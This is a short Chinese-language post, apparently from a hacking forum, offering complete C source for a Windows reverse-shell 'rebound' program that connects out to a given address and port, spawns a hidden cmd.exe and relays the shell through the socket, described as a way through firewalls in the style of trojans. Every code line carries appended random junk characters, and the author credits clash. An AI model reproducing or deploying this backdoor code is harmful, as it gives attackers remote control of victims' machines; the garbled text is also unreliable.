这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Vn|1v4U!
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/* ============================== P^)q=A8Z#
Rebound port in Windows NT jc:s` 4
By wind,2006/7 \/5RL@X}
===============================*/ |+}G|hx@9
#include S6D^3n
#include gl7|H&&xV
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#pragma comment(lib,"wsock32.lib") f p[,C1U
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void OutputShell(); rHz||jjU
SOCKET sClient; M 2q"dz
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yI3kvh
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void main(int argc,char **argv) T
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{ |E3X
WSADATA stWsaData; ynwG\V
int nRet; rs;r
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SOCKADDR_IN stSaiClient,stSaiServer; QHlU|dR)Ry
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if(argc != 3) _[h8P9YI4
{ Z(GfK0vU
printf("Useage:\n\rRebound DestIP DestPort\n"); W|5_$p
return; w$ fJ4+
} zpjqEEY;
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WSAStartup(MAKEWORD(2,2),&stWsaData); e0HfP v_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F]+~x/!
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stSaiClient.sin_family = AF_INET; <AoXEuD
stSaiClient.sin_port = htons(0); @n+=vC.xO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?cy4&]s
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &
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{ =^;P#kX
printf("Bind Socket Failed!\n"); `[fxyg:u
return; .uz|/Zy
} h6D^G5i
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stSaiServer.sin_family = AF_INET; y1f:?L-z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1;F`c`0<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vVxD!EL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gVR@&bi7
{ v|';!p|
printf("Connect Error!"); ^Q}eatEn
return; gl%`qf6:O
} WT\<.Py
OutputShell(); \cJa;WM>
} pY"O9x
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void OutputShell() +0l`5."d
{ 2?q(cpsN
char szBuff[1024]; "sUyHt -&
SECURITY_ATTRIBUTES stSecurityAttributes; ti @kKz
OSVERSIONINFO stOsversionInfo; /~p+j{0L3W
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Kg\R+i@#<
STARTUPINFO stStartupInfo; K }$&:nao
char *szShell; 3L5r*fa
PROCESS_INFORMATION stProcessInformation; !ZXUPH
unsigned long lBytesRead; pv)`%<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TFQ!7'xk)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1fU,5+PH
stSecurityAttributes.lpSecurityDescriptor = 0; dtt ~ Bd
stSecurityAttributes.bInheritHandle = TRUE; x2Lq=zwJ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RW'nUL?_\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 07v!Zj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9LC&6Q5O&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i5}4(sV
stStartupInfo.wShowWindow = SW_HIDE; ),}AI/j;zY
stStartupInfo.hStdInput = hReadPipe; rVnd0K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "2ru 7Y"
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GetVersionEx(&stOsversionInfo); r=.A'"Kf
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switch(stOsversionInfo.dwPlatformId) b\7iY&.C|
{ pKG<Nvgz&
case 1: (5L-G{4
szShell = "command.com"; +kK
break; s@4nWe
default: cZ8.TsI~
szShell = "cmd.exe"; zmuMWT;
break; x Gk6n4Gg
} FDzqL;I
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \c,pEXG
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send(sClient,szMsg,77,0); "UFs~S|e
while(1) 0pb'\lA
{ m7c*)"^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Y$K!7Kq
if(lBytesRead) Cizvw'XDV
{ 4bVO9aUG{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <6TT)t<h
send(sClient,szBuff,lBytesRead,0); 2-*V=El
} q/9H..6
else ^ <`(lyph
{ Jb_1LZ)]
lBytesRead=recv(sClient,szBuff,1024,0); `O?T.p)
if(lBytesRead<=0) break; ym,H@~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iRo.RU8>
} 9# 4Y1L S)
} #FOqP!p.E
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return; a3SlxsWW
}